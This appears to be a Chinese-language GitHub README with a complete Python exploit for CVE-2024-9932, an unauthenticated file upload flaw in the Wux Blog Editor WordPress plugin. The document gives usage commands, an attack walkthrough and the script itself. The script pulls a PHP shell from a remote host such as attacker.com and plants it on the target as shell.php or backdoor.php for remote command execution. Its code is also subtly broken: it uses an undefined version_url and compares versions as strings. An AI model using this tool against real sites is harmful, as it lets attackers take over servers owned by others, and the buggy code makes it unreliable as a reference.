Wux Blog Editor 任意文件上传漏洞利用工具 (CVE-2024-9932)
本项目提供了一个针对 WordPress 插件 Wux Blog Editor 的安全概念验证(PoC)脚本。该插件在版本 3.0.0 及之前存在严重漏洞,允许未经身份验证的攻击者绕过文件类型验证,上传任意文件至服务器,从而导致潜在的远程代码执行(RCE)。
功能特性
- 任意文件上传 :利用
wuxbt_insertImageNew函数中不充分的文件类型验证,上传任意远程文件。 - 远程代码执行:支持上传包含恶意代码(如 PHP Shell)的文件,实现远程命令执行。
- 自定义文件名:可指定上传后的文件名,便于访问和利用。
- 教育用途:帮助安全研究人员理解漏洞原理,测试自身环境安全性。
安装指南
系统要求
- Python 3.6 或更高版本
requests库
安装步骤
- 克隆项目
bash
git clone https://github.com/your-repo/CVE-2024-9932-POC.git
cd CVE-2024-9932-POC
- 安装依赖
bash
pip install requests
- 验证安装
bash
python CVE-2024-9932.py -h
如果显示帮助信息,说明安装成功。
使用说明
基本语法
bash
python CVE-2024-9932.py -u <目标URL> -ur <远程文件URL> [-n <目标文件名>]
参数说明
| 参数 | 简写 | 必填 | 描述 |
|---|---|---|---|
--url |
-u |
是 | WordPress 目标站点的基础 URL(例如 http://example.com/wordpress) |
--remote-url |
-ur |
是 | 包含恶意内容的远程文件 URL(例如 http://attacker.com/shell.txt) |
--name |
-n |
否 | 上传后保存的文件名(例如 shell.php),默认为 shell.php |
使用示例
示例1:上传默认名称的 PHP Shell
bash
python CVE-2024-9932.py -u http://192.168.100.74/wordpress -ur http://192.168.100.54/shell.txt
示例2:自定义上传文件名
bash
python CVE-2024-9932.py -u http://victim-site.com/wordpress -ur http://malicious.com/payload.txt -n backdoor.php
典型攻击场景
- 信息收集 :使用
-u参数识别目标 WordPress 站点的插件版本。 - 准备载荷 :在公网或本地服务器上托管包含 PHP 恶意代码的文本文件(如
shell.txt)。 - 发起攻击 :执行上述命令将载荷上传至目标服务器的
wp-content/uploads/年/月/目录。 - 获得权限 :访问返回的文件 URL(例如
http://victim.com/wordpress/wp-content/uploads/2025/01/shell.php)即可执行命令。
成功输出示例
ruby
[+] File found: http://192.168.100.74/wordpress/wp-content/uploads/2025/01/shell.php
核心代码
漏洞利用主脚本 (CVE-2024-9932.py)
python
import argparse
import requests
import sys
# exploit by Nxploit | Khaled_alenazi
def banner():
print("""
@@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@@@@ @@@ @@@@@@ @@@@@@ @@@@@@ @@@@@@
@@@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@@@@@@@@ @@@@@@@@ @@@@ @@@@@@@@ @@@@@@@@ @@@@@@@ @@@@@@@@
!@@ @@! @@@ @@! @@@ @@! @@@@ @@@ @@!@! @@! @@@ @@! @@@ @@@ @@@
!@! !@! @!@ !@! @!@ !@! @!@!@ @!@ !@!!@! !@! @!@ !@! @!@ @!@ @!@
!@! @!@ !@! @!!!:! @!@!@!@!@ !!@ @!@ @! !@! !!@ @!! @!! @!@!@!@!@ !!@!!@!! !!@!!@!! @!@!!@ !!@
!!! !@! !!! !!!!!: !!!@!@!!! !!: !@!!! !!! !!: !!! !@! !!!@!@!!! !!@!!! !!@!!! !!@!@! !!:
:!! :!: !!: !!: !:! !!:! !!! !:! :!!:!:!!: !!! !!! !!: !:!
:!: ::!!:! :!: :!: :!: !:! :!: !:::!!::: !:! !:! :!: :!:
::: ::: :::: :: :::: :: ::::: ::::::: :: :: ::::: ::: ::::: :: ::::: :: :: :::: :: :::::
:: :: : : : :: :: :: : ::: : : : : :: : ::: ::: : : : : : : : : : :: : :::
""")
def check_version(base_url):
"""
"""
try:
response = requests.get(version_url)
if response.status_code == 200:
for line in response.text.splitlines():
if line.startswith("Stable tag:"):
version = line.split(":")[1].strip()
print(f"[+] Detected Wux Blog Editor version: {version}")
return version
print("[-] Could not determine plugin version. Target may be not vulnerable.")
return None
except Exception as e:
print(f"[-] Version check failed: {e}")
return None
def exploit(target_url, remote_file_url, file_name):
"""
执行漏洞利用:上传远程文件至目标服务器
"""
upload_endpoint = f"{target_url}/wp-admin/admin-ajax.php"
# 构造恶意请求数据
files = {
'action': (None, 'wuxbt_insertImageNew'),
'file': (file_name, requests.get(remote_file_url).content, 'image/jpeg')
}
try:
# 发送上传请求
response = requests.post(upload_endpoint, files=files)
if response.status_code == 200:
# 尝试解析返回结果中的文件路径
if "wp-content/uploads" in response.text:
import re
match = re.search(r'(wp-content/uploads/[^\s"\']+\.php)', response.text)
if match:
full_url = f"{target_url}/{match.group(1)}"
print(f"[+] File found: {full_url}")
else:
print("[+] File uploaded successfully, but URL could not be extracted automatically.")
else:
print("[-] Upload may have failed. Response does not indicate success.")
else:
print(f"[-] Upload failed with HTTP status {response.status_code}")
except Exception as e:
print(f"[-] Exploit failed: {e}")
def main():
banner()
parser = argparse.ArgumentParser(description="Wux Blog Editor - Arbitrary File Upload")
parser.add_argument("-u", "--url", required=True, help="Base URL of the WordPress server, e.g., http://192.168.100.74/wordpress")
parser.add_argument("-ur", "--remote-url", required=True, help="Remote file URL, e.g., http://192.168.100.54/shell.txt")
parser.add_argument("-n", "--name", default="shell.php", help="Desired file name, e.g., Nxploit.php")
args = parser.parse_args()
# 检测漏洞版本
version = check_version(args.url)
if version and version <= "3.0.0":
print("[+] Target appears vulnerable. Proceeding with exploit...")
exploit(args.url, args.remote_url, args.name)
else:
print("[-] Target does not seem vulnerable or version check failed.")
sys.exit(1)
if __name__ == "__main__":
main()
漏洞原理说明
该漏洞源于插件 wuxbt_insertImageNew 函数对上传文件的 MIME 类型检查不足。攻击者可以:
- 将恶意 PHP 代码包装在合法的图片 MIME 类型(如
image/jpeg)中。 - 通过
admin-ajax.php端点触发文件上传功能。 - 服务器仅检查 MIME 类型而不验证文件实际内容,从而允许 PHP 文件被保存。
- 上传的文件被存储在
/wp-content/uploads/年/月/目录下,攻击者可通过 HTTP 直接访问并执行。
⚠️ 免责声明
本工具仅用于教育目的和安全研究。未经系统所有者明确授权,使用此脚本攻击任何系统均属违法行为。使用者需自行承担一切法律责任。 6HFtX5dABrKlqXeO5PUv/0HpB3zaXn9qcg2yxz1ZaSTrrxpPzmud40S4aNH3LVvG